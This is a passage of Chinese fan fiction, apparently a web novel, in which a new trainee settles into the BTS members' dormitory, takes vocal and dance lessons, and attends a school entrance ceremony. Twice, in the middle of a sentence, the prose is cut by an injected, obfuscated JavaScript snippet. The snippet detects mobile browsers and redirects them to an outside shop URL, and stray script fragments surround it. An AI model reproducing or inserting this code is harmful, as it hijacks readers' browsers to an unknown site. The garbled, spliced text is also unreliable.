话音未落,那盏挣扎许久的廊灯“滋啦”一声,彻底熄灭,眼前瞬间被浓稠的黑暗吞没。 “!!!” 郑号锡的心脏猛地一跳,更让他头皮发麻的是,在灯光熄灭的前一瞬,他似乎瞥见宿舍门口有一团模糊的黑影。 “南、南俊啊……” 他声音有点发颤,“你刚才……看见门口有什么吗?” “嗯?” 走在稍后的金南俊茫然,“看见什么?” “灯怎么坏了?” 田柾国也收起了玩笑,努力眨着眼适应黑暗。 就在这时,几米外传来了细微的窸窣声。 所有人的动作停住—— 黑暗中,只有宿舍门缝底下漏出的、来自屋内小夜灯的一线暗红微光,勉强勾勒出一个倚坐着的、清瘦身影的轮廓。 那身影低着头,半边脸隐在阴影里,露出的下颚到脖颈,被那黏腻诡异的红光涂抹,泛着一种不真实的青白。 安岁秋正戴着耳机,手机屏幕上播放的丧尸片高潮迭起,主角被围攻,血浆四溅。 他看得入神,又被刚入口的辣炒年糕烫到,下意识张嘴呵气,酱汁的红混着屏幕光映在他仰起的下巴和脖颈,蜿蜒出令人心惊的痕迹。 然后,他察觉到不远处的视线,侧过头。 “啊——!!!” 郑号锡积蓄已久的恐惧冲破喉咙,化为一声响彻走廊的尖叫,他猛地后退,手肘不慎狠狠撞上身后金硕珍的胸口。 “唔!” 金硕珍猝不及防,痛呼出声,金泰亨因身高“优势”侥幸躲过。 闵玧其无声地呲了呲牙,心想,术业有专攻,Rapper 的嗓子可能不太适合这种高音声部,金南俊和郑号锡都是。 田柾国却在适应黑暗后,眼尖地认出了那张脸,疲惫一扫而空,隔着距离就喊了出来,“岁秋哥!” 安岁秋摘下一边耳机,眨了眨眼,慢半拍地意识到自己可能造成了某种误会。 接过金南俊递来的纸巾,安岁秋仔细擦掉嘴角和下巴的酱汁,抿了抿唇,看向惊魂未定的郑号锡,眼含歉意,“抱歉,号锡哥……我没想吓你。” 郑号锡连连摆手,耳朵还在发烫,“没、没事!是我自己胆子小,胡思乱想。” 这怎么能怪安岁秋呢?纯粹是自己吓自己。 “我有事……” 金硕珍揉着胸口,一脸痛苦面具,“号锡啊,哥差点就见到天使了……” 郑号锡赶紧转身给大哥赔笑脸,“哥,对不起嘛!我帮你揉揉?” 气氛在笑闹中松弛下来,闵玧其拿出钥匙开了门,很自然地拉过安岁秋的行李箱,“进来吧。” 金南俊从鞋柜里拿出一双未拆封的新拖鞋,递给安岁秋。 自从知道安岁秋要来,他们可是结结实实进行了一次大扫除,翻出了不少“古早遗物”——比如金南俊失踪已久的三只蓝牙耳机,甚至还都是左边的。宿舍确实很久没这么整洁过了。 金硕珍接过安岁秋手里那几个散发着食物香气的小袋子,笑容温和,“还买了夜宵?太周到了。” 田柾国和金泰亨的注意力则完全被靠在墙边的黑色琴盒吸引,那竖立的琴盒高度正好到两人肩膀。 金泰亨眼睛亮得像盛了星星,“安安呀!这里面是你的贝斯吗?” 得到肯定的点头后,他小小地欢呼了一声,安岁秋看着他那兴奋劲儿,一时有些恍惚,不确定到底谁才是年长的那个。 放好行李箱折返回来的闵玧其,一手一个,拎着两个不自觉摇尾巴(如果真有尾巴的话)的小孩的后领,把他们提溜进屋里。 郑号锡对安岁秋抿唇笑了笑,指了指琴盒,“需要帮你拿吗?还是……” “没事,我自己来。” 安岁秋熟练地背起琴盒,换好拖鞋,终于踏入了这个新的、即将成为他一段时光里“家”的地方。 宿舍比想象中更小,几乎与他之前在FNC的单人宿舍面积持平。 卧室里,四张原木色的上下铺紧凑地挤在一起,床架随着上铺翻身发出细微的、承重般的吱呀声。床头的便签纸被汗水或水渍浸润得微微卷边,床底下塞满了收纳箱,挤占着每一寸可利用的空间。 客厅的矮桌上散落着没来得及收起的拉面包装和韩式辣酱罐,贴在桌腿的值日表,墨迹被手指无意擦过而晕开。迷你厨房里,瓷锅还带着余温,冰箱门上贴满了各式优惠券,在灯光下折射出零碎的光斑。 就在这样一个狭小、甚至有些逼仄的空间里,少年们的梦想却与这些琐碎日常共生,在汗水和泡面香气中,无声而蓬勃地发着光。 安岁秋环视一周,没找到更合适的位置,便将琴盒暂且立在靠近玄关的角落。 明天还是要把它带去练习室为好,这里看起来实在是没有空了。 郑号锡从卧室拿出一个软垫放在地板上,拍了拍,示意安岁秋坐,自己则很随意地直接坐在地板上。 田柾国立刻挨着安岁秋空着的那边坐下,金泰亨慢了一步,只好挤在田柾国身旁。 金硕珍把小吃在矮桌上摆开,又转身从厨房端出一小碗泡菜,“尝尝这个,泰亨从家里带来的萝卜泡菜,很不错。” “是我奶奶亲手种的萝卜,自己腌的!” 金泰亨从田柾国身后探出脑袋,语气里满是骄傲,“独家秘方!” 安岁秋依言夹了一筷,萝卜口感爽脆,酸甜咸辣平衡得恰到好处,带着家常特有的朴实习钻。 “好吃。”他真心称赞。 金泰亨顿时像被顺了毛的快乐小狗,眼睛弯成了月牙——嘿嘿,瑶玲也喜欢奶奶的泡菜! 安岁秋食量小,自己那份炒年糕吃了不到三分之一便放下了筷子。 田柾国看他,“岁秋哥,不吃了?” “嗯,饱了。”安岁秋有些抱歉地看着剩下的食物。 “那……我可以吃吗?”田柾国问得自然,他们今晚消耗巨大,原本就打算回来煮泡面,现在这些小吃正好填补空缺。 “啊?你不嫌弃的话,当然可以。”安岁秋挑眉把碗递了过去。 安岁秋买的份量本就不多,想着大家应该用过晚餐,只是垫垫肚子。结果,他完全低估了这群正值发育期、又经历了高强度训练的少年的胃容量。 最后金硕珍还是起身煮了三包泡面,六个人分食干净。一边吃,一边含糊地互相提醒“明天脸肿了肯定挨骂”,一边又忍不住将面条吸得簌簌响。 安岁秋在一旁看得叹为观止——这战斗力,完全能开吃播了。 半大的少年熟络起来极快,加之有金泰亨天马行空的思维时不时搅动气氛,一顿夜宵的功夫,彼此间的距离便拉近了许多。 闵玧其吃得不多,最先放下筷子,默默收拾起空餐盒,安岁秋也放下喝了一半的水,跟过去帮忙,却被闵玧其轻轻按住了手腕。 “去收拾行李吧,”那副独特的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394857|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、带着些许沙哑磁性的嗓音在近处响起,“我来就行。” 温热干燥的触感一触即分,安岁秋却觉得耳根微微发烫。 哇,这哥……偶尔流露的干脆利落,总带着点不容置疑的帅气。 “对了,岁秋睡哪张床?”郑号锡忽然想起关键问题。 四张上下铺,目前空着的是门口田柾国的上铺,以及窗户边金泰亨的下铺,窗边那张床因窗户密封不严,冬日难免漏风,一直空置。 田柾国立刻举手,眼睛亮晶晶地看向安岁秋,“岁秋哥!睡我上铺吧!” 安岁秋没意见,他对住宿条件向来不挑剔,除了在食物上有些固执的偏好,他本质上是个随遇而安的人。 宿舍条件虽然比预想中更简朴,但安岁秋的原则很简单—— 物竞天择,适者生存。 这是比较文雅的说法,粗俗一点就是—— 能活就活,不能活就算了。 金硕珍和闵玧其在厨房善后,金南俊和郑号锡便进卧室帮忙铺床。准确说,是郑号锡主力,金南俊负责递送物品。 郑号锡根本不敢让金南俊上蹿下跳,万一床铺有个闪失,新来的弟弟睡哪儿? 田柾国和金泰亨则像两只好奇的小动物,围着安岁秋看他整理行李箱,顺便指点他各类物品的惯常收纳位置。 翻到箱底,安岁秋触到一个白色大购物袋,才想起姐姐从美国带回的礼物——是New Era 59Fifty系列[1]的棒球帽,硬挺的版型,平直帽檐,帽身前绣着MLB球队标志,质感扎实,一系列正好八个颜色。 “给大家的见面礼。”安岁秋捧着八顶帽子,语气自然。 金南俊、金硕珍几人先是摆手,郑号锡尤其不好意思,“这太破费了……” 他认得这牌子,对尚未出道的练习生而言,不算便宜。 田柾国和金泰亨则单纯许多,小伙伴的心意! 田柾国挑了帅气的黑色,金泰亨选了鲜亮的绿色,还立刻翻出自己珍藏的饼干要和安岁秋分享。 “安安,这个!特别好吃!我朋友给的!” “泰亨哥,我也要!”田柾国凑过来,三颗毛茸茸的脑袋瞬间凑成一个三角形。 “柾国只能吃一块哦,快没了……” “泰亨哥好小气——” “我一天也只吃一块!你吃了我就少一天了!” 安岁秋嘴里含着半块饼干,仰起脸看向还在犹豫的几位哥哥,眼尾弯起细小的弧度,手里仍抱着那摞帽子,眼神清澈,像只等待被接纳的、摇着尾巴的小狐狸。 闵玧其先低笑了一声,走过来,随手拿起那顶灰色帽子,揉了揉安岁秋本就微卷的头发,“谢了。” 嗓音低沉。 有了开头,其他几人相视一笑,金南俊耸了耸肩,拿了蓝色的,也笑着揉了揉弟弟的发顶。 接着,选了粉色的金硕珍和拿了棕色的郑号锡,也像完成某种心照不宣的仪式般,依次伸手揉了揉那颗毛茸茸的脑袋。 “???” 安岁秋眨眨眼,顶着一头被揉得更加凌乱的软发,反应慢了半拍,当田柾国试探的小手也伸过来时,他才微微向后缩了下,眯起眼看他。 田柾国睁着圆圆的无辜眼睛,“岁秋哥,你头发乱了。” 安岁秋于是不再躲闪,任由那只小手也落在自己发顶,没看见对方眼中得逞的细微笑意。 哇,手感真好。 临睡前,金泰亨黏黏糊糊地扒着安岁秋的床沿,小声嘟囔想和瑶玲一起睡,被闵玧其无情地塞回他自己被窝,只留下可怜兮兮的一句,“安安,晚安。” 安岁秋爬上上铺,声音带着笑意,“晚安,泰亨哥。” 下铺立刻传来田柾国奶气却清晰的声音,“还有我,岁秋哥。” “晚安,柾国。” “嗯!岁秋哥也晚安,好梦。” “安安明天见!”金泰亨不甘落后。 闵玧其额角跳了跳,压低声音,带着警告,“你俩再出声,信不信我把你们连人带被子扔出去。” 实权发话,效果立竿见影,两个小皮孩瞬间安静,连翻身都变得小心翼翼。 门口传来金硕珍压低的笑声,“关灯了。” “啪。” 轻响之后,无论是否真的立刻入睡,狭小的宿舍终于沉入一片祥和而温暖的黑暗之中。 窗外,首尔的夜依旧灯火流淌,而屋内,七个少年的命运轨迹,于此正式交汇。 ------------------------ 参考文献: [1] New Era Cappany. MLB 59FIFTY Fitted Cap[Headwear]. 1954;2011美国售价:基础 $39.99–$41.99. 9. 多维能力初测 清晨的光线透过薄窗帘,给狭小的宿舍客厅蒙上一层柔和的浅金色。 金硕珍打着哈欠走出卧室,准备像往常一样给弟弟们准备简单的早餐,脚步却顿在了厨房门口。 料理台上,整齐地摆放着几袋不同品牌的打包盒,旁边是四杯凝结着水珠的冰美式,以及两杯纯牛奶。 金硕珍揉了揉眼睛,怀疑自己还没完全清醒。 就在这时,大门被轻轻推开,一个包裹严实的身影蹑手蹑脚地溜了进来——黑色口罩,鸭舌帽压得很低,手里还拎着一个印着咖啡店logo的纸袋。 那人转过身,恰好与金硕珍四目相对,露在外面的那双琥珀色眼睛眨了眨,闪过一丝被抓包的细微慌乱。 “哥。” 安岁秋小声喊道,摘下口罩,露出一张清爽白净的脸。 “岁秋啊,怎么起这么早?” 金硕珍走近,声音还带着晨起的沙哑,“睡不着吗?” 安岁秋摇摇头,将手里的纸袋也放在桌上,“我睡眠时间比较短,习惯早起出去走走,顺便……就把早餐买回来了。” 他顿了顿,补充道,“这样就不用特意早起做饭了。” 金硕珍看着少年在晨光里显得格外柔软的脸庞,心里那点惊讶化成了温软的感慨,忍不住又伸手揉了揉安岁秋微卷的发顶,笑道:“哎一古,我们岁秋真是……太善良了。” 简直像个小天使。 安岁秋耳根微热,抿唇笑了笑。 金硕珍带着满腔“弟弟真好”的感慨走进洗手间洗漱,下一个被早餐震撼到的是郑号锡。 他顶着一头睡乱的头发,迷迷糊糊走出卧室,看见满桌食物时愣了一下,随即发现新来的弟弟正在厨房里,踮着脚试图打开较高的橱柜。 “岁秋啊,在找这个吗?”郑号锡走过去,轻松帮他拿出了干净的碗筷。 “谢谢号锡哥。” 安岁秋接过,两人一起将早餐在矮桌上摆开。 郑号锡看着桌上丰盛的品类,忍不住叮嘱,“下次别自己去买早餐了,自己的钱留着用,我们一般会轮流做,或者喊哥哥们一起出去买也行。总让弟弟请客,我们会不好意思的。” 安岁秋倒是不在意,他家境不错,加上很早就开始尝试创作。 多亏前公司的福,有可靠的作品变现渠道,金钱能源源不断地进入口袋,版权费和过往的片酬让他在中学阶段就实现了相当程度的财务自由。 不过既然是多人合宿,那还是要尊重大家的想法,集体生活就是需要平衡与协调的。 “好。”他乖巧点头,“那以后伙食费我们平摊吧,这样公平。” 郑号锡笑了,“嗯,这样好。” 闵玧其是倒数第二个起床的,他走进客厅时,除了最贪睡的田柾国,其他人已经围坐在桌边开动了。 目光扫过那几杯显眼的冰美式,他挑了挑眉。 这绝非金硕珍的手笔,鉴于闵玧其咖啡成瘾的现状,已经被金硕珍严令禁止宿舍出现咖啡因许久了。 他自然地端起一杯,空腹饮下一口,冰凉的苦涩液体滑过喉咙,带来久违的满足感。 “你买的?”闵玧其侧头问。 金南俊正专注于眼前的紫菜包饭,茫然摇头,“不是我。” 郑号锡夹起一个煎饺,“是岁秋买的。” 闵玧其看向安岁秋,这才发现小孩正微微缩着肩膀,接受金硕珍无奈的教育—— 因为他手里握着的那个杯子,里面只剩下薄薄一层深褐色的液体残渣。 安岁秋买了四杯冰美式给成年哥哥,两杯牛奶给未成年的金泰亨和田柾国。 结果他自己这个未成年,居然明知故犯,偷偷端着一杯8shot的超浓缩冰美式,趁大家不注意用吸管小口喝着,等金硕珍发现他喝的不是牛奶时,已然证据将尽。 闵玧其听完,眉梢挑得更高了些。 哟,看来比他还能喝咖啡的人出现了。 金泰亨捧着牛奶盒,小口啜饮,不敢吱声,只用眼神向安岁秋传递着“瑶玲啊对不起我救不了你”的歉意。 田柾国终于被客厅的动静和食物香气勾出了卧室,他半闭着眼睛,循着本能蹭到桌边,像只没睡醒的小动物,迷迷糊糊就靠在了安岁秋肩膀上,还皱着鼻子嗅了嗅。 安岁秋推了推他的脑袋,“柾国呀,先去洗漱。” 田柾国非但没动,反而哼哼唧唧地伸手环抱住安岁秋的腰,把脸埋进对方肩颈处蹭了蹭。 安岁秋脖颈敏感,被蹭得发痒,忍不住笑着往后躲,“呀,好痒……田柾国!” 黑心小兔子假装没听见,继续赖着。 金硕珍看着两个忙内的互动,忍不住扬起嘴角。 反倒是金泰亨看不过去了,起身把田柾国从安岁秋身上撕下来,往洗手间方向推,“呀!田柾国你脏死了!还没刷牙洗脸呢,不许往安安身上蹭!” 上午是声乐课,省去了做早餐的时间,一行人罕见地提前半小时抵达教室,这让金盛恩都有些意外。 这群小子平时不踩点进门都算早的。 他的目光落在其中最陌生也最出众的那个身影上,心中暗叹方时赫还真有本事,居然真把人拐来了。 他看过安岁秋的资料:童星出身,会创作,懂乐器,那次街头表演的和声技巧与音色都令人印象深刻。只是,不知单独演唱的硬实力如何。 课上,金盛恩特意多关注了这位新生。 几轮基础练习和片段演唱下来,他眼底渐渐泛起满意之色—— 发声位置规范,气息支撑稳定扎实,音准节奏精准得像刻量过,声区过渡自然流畅。除了腔体共鸣的运用还能再打磨得更圆熟些,这绝对是个值得好好培养的主唱苗子。 金盛恩有些兴奋,终于又来了个能让他施展拳脚的Vocal了。对于金南俊和闵玧其的演唱能力,他已经放弃了。 有那样的rap实力,唱歌差一点完全可以接受,专注本行就好。 但舞蹈老师孙成德无法如此安慰自己,唱歌和rap或许可以二选一,但跳舞,谁都别想逃。 他把安岁秋那份看似丰富多彩的履历翻来覆去看了几遍,确认上面丝毫没有提及舞蹈训练,他深深叹了口气,只祈求千万别再来一个“金南俊式”的舞蹈黑洞。 练习室巨大的镜面模糊地映出几个少年挥汗练习的身影。 “来,跟着拍子,一、二、三、四……” “咚、哒、咚、哒……” 按照惯例,跳得最好的郑号锡和田柾国站在最前排示范,高个的那个动作标准流畅,充满控制力;稍矮的那个则力量感十足,框架大开大合。 第二排是金泰亨和闵玧其,金泰亨的动作虽不那么教科书,却自成一派,充满灵动的表现力;闵玧其一改平日的慵懒,舞步带着地下舞者特有的质感和狠劲。 最后排是金硕珍、金南俊,以及新加入的安岁秋。 金硕珍的问题是身体略显僵硬,记动作慢;金南俊则……明明能跟上节奏,动作也到位,但跳出来总有种难以言喻的、独属于他的奇妙风味,安岁秋暂时找不到精准的形容词。 他此刻正夹在“舞蹈双翼”中间,努力目视前方,忽略左右两边极具个人特色的舞姿,生怕自己被带偏,毕竟阔别舞蹈已久,身体和记忆都需要重新唤醒。 一遍,两遍,三遍…… 孙成德的目光逐渐锐利起来,那个新来的孩子,进步速度快得惊人。 最初的生涩和僵硬迅速褪去,动作变得舒展而连贯,尤其手腕和手臂的翻转控制格外漂亮,节奏切换干净利落,脚步移动灵活。甚至在某个定点姿势上,他的框架和力度丝毫不输前面的郑号锡。 “安岁秋。”孙成德突然出声。 “内?”安岁秋停下动作,气息微喘。 “到前面来。” 被莫名点名的安岁秋有些惴惴不安,挪步站到了郑号锡和田柾国中间,他下意识看向右侧的郑号锡,可对方正沉浸于音乐节奏中,没接收到他的眼神求助;再看左边的田柾国,也是一脸懵懂。 孙成德没有解释,只是随着再次响起的音乐抬起手。 “准备,五、四、三、二、一,走——” 安岁秋不明所以,只能专注跟上。 几遍之后,身后的闵玧其和金泰亨率先察觉了异样——这舞姿太流畅了,对音乐细节的处理和身体律动的把握,绝非初学者能有的水准,那种游刃有余的松弛感,他们只在郑号锡身上见过。 孙成德点头的幅度越来越大,眼里放出光来。 哎呀,这次方时赫真是捡到宝了!没想到跳舞也这么好!可惜就是体力明显差了些,这才练了多久,气息就喘得这么厉害。 不过没关系,体力是可以练的,多练就好了。 孙成德默默把魔鬼训练提上日程。 音乐暂停。 安岁秋几乎脱力,半靠在身旁田柾国的背上,坐在地板上大口喘气,太久没有这样大运动量地跳舞了,浑身汗湿黏腻的感觉也让他有些不适应。 田柾国倒是早已习惯这种强度,他悄悄挺直脊背,让安岁秋靠得更稳当些。 一瓶水递到面前,安岁秋抬眼,是郑号锡。 舞蹈课开始前,他对这位哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394858|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的印象还停留在“有点胆小但很善良”,可音乐一响,对方就像瞬间变了个人—— 野性、锋芒、对节奏的掌控刻入骨髓,每一个滑步都带着随性的弹性,举手投足间尽是掌控舞台的气场。 田柾国亦是如此,跳舞时彻底颠覆了平日的内敛害羞,每个动作都充满利落的力量感,金泰亨和闵玧其的舞蹈则充满视觉冲击力的大框架。即便是金硕珍和金南俊,他们的实力也远超普通偶像。 安岁秋后知后觉地意识到,自己似乎小看了这群看起来画风清奇的哥哥和弟弟,原来个个都是深藏不露。 “岁秋,以前系统学过舞蹈吗?”,郑号锡细心地将瓶盖拧松后才递过来。 他练舞时虽专注,但并非对周围毫无知觉,安岁秋后来就站在他左侧跳,那舞姿自然引起了他的注意。 “谢谢号锡哥。”,安岁秋接过水喝了几口,滋润干涸的喉咙,“小时候学过几年,但已经快三年没正经跳过了。” “怪不得,基础框架和乐感都还在,一看就是有底子的。” “安安什么时候学的跳舞呀?” 金泰亨好奇地凑过来,他对他的瑶玲哪哪都好奇,从昨天安岁秋来到宿舍开始,他就已经缠着对方把对方的家庭、学校,喜欢的颜色、食物好多东西都问得很清楚了,但就是没问跳舞。 “大概九岁左右?跟老师学过Locking和House,也参加过一年左右的集训,后来来首尔做演员,就慢慢搁下了。” “原来如此!” 金泰亨恍然大悟般点点头,像又收集到一块珍贵拼图,满足地露出标志性的四方嘴笑容。 郑号锡心里也踏实了不少,有天赋和基础在,再多练一段时间,估计就能把过去的感觉捡回来。 到时候……或许就能帮他分担一些带领舞蹈困难户的重任了,他一个人拖着金南俊和金硕珍两个,真的很辛苦啊。 接收到亲故无声控诉的眼神,金南俊无奈地眼神飘忽。 他已经很努力了,奈何天赋点确实没太分配到这里。 金南俊看着安岁秋,心里也满是羡慕。 哎一古,我们岁秋跳舞的时候,是真的帅气啊。 “南俊哥!你真的好帅啊!” 安岁秋琥珀色的眼眸微微睁大,眼底盛着毫不掩饰的崇拜,亮晶晶地望向金南俊,一句话出口,连身后背景板里的几人都同时怔住。 金南俊显然很受用,露出可爱的大酒窝,笑着揉了揉弟弟的脑袋。 “???” 金硕珍感觉自己错过了一整集剧情,怎么一节说唱课下来,自家那个平时清清冷冷、偶尔流露出小傲娇的新弟弟,就瞬间切换成了撒娇模式,亦步亦趋地跟在金南俊身后了? 他和金泰亨因为毫无长进的rap实力被老师禁止了参与这门课,老师让他们“与其在此浪费时间,不如将精力投入更有希望的声乐领域”,这当然是委婉的表达,其实原话是—— “别让我在说唱课上再看到你们两个。” 金硕珍很受伤! 谁说主唱不能有个rapper梦了?现在说不好,不代表未来没希望啊!不练习怎么能进步?老师太冷酷了! 同样怀揣rap梦的金泰亨举手表示强烈赞同,他觉得rap超帅的! 路过的闵玧其顺手拍了下他的后脑勺,“你先把韩语说利索了再做梦。” 然后他的目光扫过年龄比他大的金硕珍,默默收回了手——嗯,这位打不得。 与他们形成鲜明对比的是全能忙内田柾国,他虽然定位是vocal,但凭借不错的rap实力,也能跟着蹭上说唱创作课,所以他知道安岁秋态度剧变的原因。 金南俊的写词能力,是连老师都坦言“已无需多教”的级别。 那些充满诗意、哲学思辨与独特比喻的歌词,是他自由不羁灵魂的延伸,更别提他演绎时那副极具魅力的低沉性感嗓音。 一节课下来,安岁秋彻底被俘获,成了金南俊的小迷弟。 他极度羡慕且佩服金南俊这种文字驾驭能力,他自己作曲时灵感层出不穷,可一到填词环节就仿佛遭遇荒漠,典型的理科思维——能欣赏文学之美,却难以用精准动人的文字表达。 迄今为止,也只有《HELLO HELLO》被他填完了词,其他那些已售出或积压在硬盘里的作品,大多卡在歌词这一步。 想到课间惊鸿一瞥看到的金南俊那写满惊艳句子的歌词本,安岁秋不由得再次在心中感慨。 哇!真的是位又帅气又有才华的哥哥啊! 果然来对了!大家都好厉害! 10. 外部场域介入 安岁秋鲜少为自己做出的决定感到后悔。 但此刻,站在清潭高中礼堂外汹涌的人潮中,他第一次对自己当初坚持选择普通高中而非艺术学校的决定,产生了一丝明确的悔意。 放眼望去,前来参加开学典礼的家长们多是中年模样,偶尔有些年轻的兄姊,但绝没有谁像他这样—— 左右两侧如同护卫般各坐了两位风格迥异的“家长”。 左边那位,闵玧其,黑衣黑裤,面无表情时下颌线绷紧,浑身散发着“生人勿近”的气场,被隔壁一位大叔警惕地打量了数眼后,低声对自家女儿嘱咐了几句“远离看起来不好惹的人”。 闵玧其面无表情地收回目光,内心默默哂笑。 右边那位,金南俊,顶着一头此刻看来格外不羁的卷发,搭配他沉思时略显放空的眼神,与周遭正襟危坐的氛围格格不入。 另一侧,郑号锡则穿着他自认为最时尚、最撑场面的“战袍”,坐得笔直,努力想展现可靠哥哥的形象,只是那精心打理的发型和潮牌搭配,在满是日常着装的人群里显得格外醒目。 只有中间穿着简单衬衫、笑容温和的金硕珍,勉强融入家长群。 “玧其哥,人真多啊。” 金南俊望着礼堂内黑压压的人头,低声感慨,他们就读的艺术高中规模小,开学典礼也简单,从未见过如此盛大的场面。 闵玧其几不可察地点了下头,目光扫过前方仍在窃窃私语打量他的那对父女,懒得再做反应。 “岁秋啊,”郑号锡稍稍倾身,声音里带着点不易察觉的紧张,“你们校长要讲多久?后面还有什么流程?” 他可是第一次以家长身份参与这种正式场合,出门前对着镜子整理了半小时领口。 安岁秋口罩下的声音闷闷的,透着一丝无奈,“快了,之后是学生代表发言和优秀新生表彰,结束就可以走了。” 他无比庆幸昨晚成功劝住了金泰亨和田柾国那两个活宝,否则今天这家长团的阵容和混乱程度,恐怕要再翻一番。 金硕珍感受到弟弟些微的僵硬,安抚地拍了拍他的肩,露出一个令人安心的笑容—— 如果忽略后排几位女高中生频频投来的、夹杂着好奇与惊艳的目光,他确实是现场最正常的一位了。 “岁秋啊,你那个自主学习的申请,手续都办妥了吗?” 金硕珍想起正事,压低声音问道。 清潭高中管理不算严苛,但一周五天的固定课程依然会占据大量时间,安岁秋自学能力强,按部就班的平均化教学进度于他而言效率偏低。他需要将时间精细切割,才能兼顾学业与高强度的练习生训练。 因此,公司出面与校方协商,为他争取到了特殊案例:每周只需到校三天,考勤要求降至三分之一,但成绩必须稳定在年级前20%,并且每月需提交学习报告,随时接受导师的线上抽查。 条件苛刻,但安岁秋衡量过后,觉得尚在能力范围内,便接受了。 “差不多了,典礼结束后去找年级主任盖最后一个章,提交上去就行。” 普通高中的开学典礼冗长而程式化,对于习惯了练习室自由氛围的金南俊几人而言,简直是种折磨。他们被拘在狭窄的座椅上,长手长脚无处安放,唯有鼓掌环节能让手指得到些许“专项训练”。 终于熬到最后的优秀新生表彰环节,几位身着笔挺深蓝色校服的少男少女上台,从校长手中接过厚重的荣誉证书。 郑号锡看着台上那眼熟的证书样式,忽然想起宿舍书架角落似乎也躺着一本类似的。 “岁秋呀,”他用手肘轻轻碰了碰安岁秋,朝台上示意,“我记得……你好像也有那个?” “嗯,有。” “新生学业优秀奖,颁给初中校内成绩和入学考试双优的新生,我入学考拿了全校第七。” 郑号锡闻言,侧头仔细看了看弟弟被口罩遮住大半、只露出沉静眼眸的侧脸,心中再次感慨:这孩子,好像做什么都能做好。 学业、音乐、舞蹈、乐器、创作……甚至连一个月前才开始接触的说唱,都已摸索出属于自己的flow。 简直是天生就该站在聚光灯下的人。 “岁秋啊,你怎么什么都这么厉害呢?” 郑号锡没忍住,伸手用指节轻轻蹭了蹭安岁秋的下巴,像逗弄一只聪明又漂亮的小猫。 安岁秋已经逐渐习惯了这群哥哥和弟弟随时随地、自然而然的肢体接触。 搂肩、搭背、牵手,偶尔的脸颊捏揉,都成了日常。 上次他下意识拍开了田柾国伸来的手,结果遭遇了人生中第一次(单方面的)冷战。 虽然只持续了一节课,但安岁秋坐立难安,还是买了冰淇淋去哄忙内,并保证“以后不会随便推开柾国的手”,才换来兔子眼重现笑意。 要知道人类是社会动物,默许了一个,就等于默许了所有。 金泰亨的扑抱,金硕珍的摸头,郑号锡的捏脸,金南俊的勾肩搭背……哦,闵玧其除外,这位哥的接触通常止于揉头发和偶尔的额头轻弹,尚且维持在安岁秋能坦然接受的安全范围。 底线一退再退,安岁秋有时也不明白自己为何对这群人如此纵容,但他始终坚持着最后的防线。 一起洗澡?绝对!不可能! 田柾国,你死心吧! 交完申请表,安岁秋快步走出教学楼,刚拐过楼梯口,却被一个戴着细框眼镜、留着齐耳短发的女生拦住了去路。 “您好,请问是安岁秋xi吗?”女生声音清晰,态度礼貌。 安岁秋在记忆中搜索了一番,确认未曾见过对方,但仍礼貌地微微欠身,“是的,您好。请问有什么事吗?” 女生自我介绍叫崔书妍,是高一八班也就是安岁秋被分到的班级的班长。班主任向她简单提过这位同学的特殊情况,艺人身份,需要兼顾活动与学业。 崔书妍对演艺圈并无太多兴趣,也未看过安岁秋的作品。 她只是秉持一贯的认真负责,拿出手机,屏幕上是她的社交账号,“麻烦安岁秋xi加一下我的联系方式,我会把你拉进班级群。之后学校和班级的重要通知都会在群里发布。” 似乎怕对方觉得冒昧,她又补充道,并展示了刚才班干部投票的简要记录。 “如果不方便加群,只加我也可以,我会把群里的通知单独转发给你。” 她性格如此,做事力求周全,甚至有些旁人眼中的刻板,但她对自己很满意,并决心做好班长这份职责,即使面对这位特殊的同学。 令她意外的是,面前的少年并未露出不耐或敷衍。 他反而轻轻笑了一下,伸出手,稳住了她因紧张而微颤的手机下端,微微凑近,眯起那双漂亮的眸子,仔细看了眼屏幕上的ID。另一只手则在自己手机上流畅地输入。 “叮”一声轻响,崔书妍的手机收到一条好友验证:「你好,班长。」 与此同时,那道独特的、带着些许慵懒磁性的少年嗓音在她面前响起。 “你好,崔书妍班长。” “!!!” 崔书妍自认不是颜控,对偶像明星无感,也极少参与同龄人关于热门影视剧的讨论,她的闲暇时间多贡献给了动漫与漫画。 来之前,她只在网上匆匆搜过安岁秋的照片以便辨认——屏幕上的少年确实好看,是她这个二次元爱好者也会承认的精致长相。 但她从未想过,自己竟会对一个声音产生如此直接的反应。 那音色清澈中糅杂着微沙的质感,语调慢悠悠的,像羽毛轻挠耳膜,无端生出几分勾人的意味,连带着口罩上方那双沉静的深棕色眼睛,也仿佛晕开了更深邃的涟漪。 崔书妍只觉得耳根猛地一热。 幸好安岁秋没有多停留,只留下一句“谢谢班长,以后麻烦你了”,便步履匆匆地离开了,留她在原地暗自庆幸没出更多洋相。 安岁秋并未察觉新班长的瞬间失神,他急着去与哥哥们汇合,刚走出教学楼,便看见不远处的香樟树下,或站或靠着四个熟悉的身影。 他带着笑意走近,却见金硕珍脸上挂着一种介于哭笑之间的复杂表情,旁边的郑号锡则笑得前仰后合,爽朗的笑声隔老远就能听见,闵玧其抱着手臂,嘴角噙着一丝玩味的弧度,而金南俊正努力向金硕珍解释着什么。 “怎么了?”安岁秋疑惑。 闵玧其没说话,只是冲他挑了挑眉,最后还是金南俊忍着笑解释,“硕珍哥刚才……被人搭讪了。” 